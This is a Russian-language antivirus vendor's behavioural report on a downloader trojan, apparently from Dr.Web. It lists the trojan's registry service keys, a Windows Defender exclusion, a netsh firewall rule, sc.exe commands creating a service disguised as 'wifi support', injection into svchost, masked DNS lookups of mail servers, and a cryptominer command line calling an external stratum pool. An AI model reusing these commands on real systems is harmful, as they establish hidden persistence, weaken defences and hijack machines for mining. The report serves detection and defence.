Trojan.DownLoader30.25809

Техническая информация

Для обеспечения автозапуска и распространения

Создает следующие сервисы

[<HKLM>\System\CurrentControlSet\Services\dwvpttvr] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\dwvpttvr] 'ImagePath' = '%WINDIR%\SysWOW64\dwvpttvr\siohiqgp.exe /d"<Полный путь к файлу>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\dwvpttvr] 'ImagePath' = '%WINDIR%\SysWOW64\dwvpttvr\siohiqgp.exe'

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса с помощью следующих ключей реестра::

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\dwvpttvr' = '00000000'

Запускает на исполнение

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Внедряет код в

следующие системные процессы:

%WINDIR%\syswow64\svchost.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\siohiqgp.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Перемещает следующие файлы

%TEMP%\siohiqgp.exe в %WINDIR%\syswow64\dwvpttvr\siohiqgp.exe

Самоудаляется.

Сетевая активность

TCP

Запросы HTTP GET

http://www.google.com/
http://ip##fo.io/ip
http://vi########er.lhr03.hls.ttvnw.net/v1/playlist/Ct8DsZ5uN2_z5RrtEvKdtATEueYko49Elq89hbC7PlP9Jhh-Dvs2L3LnzvAKLWQJIlEtAlQMTBDbX4vkCZqZg-07_E5K3Np7ZeDe8odiyR0eNwW9_zdHq1eIwAzUWSaGhfKQBuRPWCKQn...
http://vi########er.lhr03.hls.ttvnw.net/v1/playlist/Ct8DqWGa0djLTx6i3MOX2LUiodLwYkcjOFlsiTfwl-4dR33YRqxRHOlzBEm8c16ai1hve6mtJvT53dV4GKrUc7o7i1iAs3JV9FjE8rBG2Ty8P2wG4krAytmQqUpATQDtQvKO1irPELwQn...

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ma##.gmail.com
DNS ASK mx.#####one.arubamail.it
DNS ASK vo##fone.it
DNS ASK mx####.##change.app.reevo.it
DNS ASK co####.capannori.lu.it
DNS ASK fm###.unina.it
DNS ASK un##a.it
DNS ASK sm####n.virgilio.it
DNS ASK vi##ilio.it
DNS ASK sm####n.libero.it
DNS ASK li##ro.it
DNS ASK ma##.###rt.weekbladpers.nl
DNS ASK mx.##ra.co.nz
DNS ASK sm####n.inwind.it
DNS ASK in##nd.it
DNS ASK vi########er.lhr03.hls.ttvnw.net
DNS ASK mw####gw2.ocn.ad.jp
DNS ASK ku##mi.com
DNS ASK ma###.mattel.com
DNS ASK ma##el.com
DNS ASK mx#####.#ail.gm0.yahoodns.net
DNS ASK ya###.com.hk
DNS ASK ms#####p-mx1.hinet.net
DNS ASK ms#.#inet.net
DNS ASK xt##.co.nz
DNS ASK vl##co.nl
DNS ASK ya##o.co.jp
DNS ASK st#.com
DNS ASK ASPMX.L.GOOGLE.COM
DNS ASK ak###travels.in
DNS ASK ma####01.fmcc.com
DNS ASK fm##.com
DNS ASK mx##.fastweb.it
DNS ASK gv##vmc.it
DNS ASK mx#.###oitte.iphmx.com
DNS ASK de###tte.com
DNS ASK mx######b2d01.pphosted.com
DNS ASK us.#bm.com
DNS ASK us#######nbound-1.mimecast.com
DNS ASK so###ee.com.np
DNS ASK mx#.###l.yahoo.co.jp
DNS ASK mx#.#####esian-aerospace.com
DNS ASK in######an-aerospace.com
DNS ASK zr#######m.relay1g.spamh.com
DNS ASK zr##ss.com
DNS ASK se####x4.sei.co.jp
DNS ASK se#.co.jp
DNS ASK no###l.nic.ru
DNS ASK na###alon.ru
DNS ASK sm###in.iol.it
DNS ASK io#.it
DNS ASK ma##.#oaltee.com.np
DNS ASK ai###thods.com
DNS ASK vi##anet.nl
DNS ASK ve#####pets.myweb.nl
DNS ASK mx#.xel.nl
DNS ASK la###india.com
DNS ASK an###arrier.com
DNS ASK se###.#ruiser.com.br
DNS ASK cr###er.com.br
DNS ASK ma##.##ps.equant.com
DNS ASK eq##nt.com
DNS ASK mx.###lprotect.be
DNS ASK va###eenapp.nl
DNS ASK ma###.vianova.it
DNS ASK pe####raccord.com
DNS ASK in.###.trendmicro.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK ho##ail.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK mx#.##ci.iphmx.com
DNS ASK gu##ant.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK mx#.#ourname.nl
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK vd##ies.nl
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK va####renmode.nl
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK vd###t.demon.nl
DNS ASK hy##ux.com
DNS ASK mx#.#s4all.nl
DNS ASK ve###jmeren.nl
DNS ASK mx#.#####-77.r1.ces.cisco.com
DNS ASK ve#####en01.tmfweb.nl
DNS ASK mt##.##0.yahoodns.net
DNS ASK ya##o.com
DNS ASK a7#####.mx.mailhop.org
DNS ASK je###nics.com
DNS ASK hy#####11.icicibank.com
DNS ASK ic####rulife.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK ya##o.de
DNS ASK cl######.us.messagelabs.com
DNS ASK dt###ergy.com
DNS ASK vi##os.com
DNS ASK sa####nciscofcu.com
DNS ASK ve###ppen.nl
DNS ASK ve######boxtel.tmfweb.nl
DNS ASK google.com
DNS ASK ve####kies.demon.nl
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK br.##real.com
DNS ASK alt1.gmail-smtp-in.l.google.com
DNS ASK gm##l.com
DNS ASK ma###.sabo.com.br
DNS ASK sa##.com.br
DNS ASK tr#######.sanfranciscofcu.com
DNS ASK pr###nmail.com
DNS ASK ma##.#rotonmail.ch

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\dwvpttvr\siohiqgp.exe' /d"<Полный путь к файлу>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dwvpttvr\' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\siohiqgp.exe" %WINDIR%\SysWOW64\dwvpttvr\' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' create dwvpttvr binPath= "%WINDIR%\SysWOW64\dwvpttvr\siohiqgp.exe /d\"<Полный путь к файлу>\"" type= own start= auto DisplayName= "wifi support"' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' description dwvpttvr "wifi internet conection"' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' start dwvpttvr' (со скрытым окном)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dwvpttvr\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\siohiqgp.exe" %WINDIR%\SysWOW64\dwvpttvr\
'%WINDIR%\syswow64\sc.exe' create dwvpttvr binPath= "%WINDIR%\SysWOW64\dwvpttvr\siohiqgp.exe /d\"<Полный путь к файлу>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description dwvpttvr "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start dwvpttvr
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.86:8087 -u w1 -p x --nicehash --safe